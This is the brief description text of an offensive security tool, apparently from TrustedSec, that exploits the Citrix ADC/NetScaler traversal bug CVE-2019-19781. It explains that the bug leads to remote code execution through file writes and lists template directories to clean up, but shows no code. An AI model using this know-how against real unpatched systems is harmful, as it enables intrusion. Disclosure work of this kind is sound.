This was only uploaded due to other researchers publishing their code first. We would have hoped to have had this hidden for awhile longer while defenders had appropriate time to patch their systems.
We are all for responsible disclosure, in this case - the cat was already out of the bag.

Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 INTERNAL RELEASE ONLY: TrustedSec Internal Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution.
Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
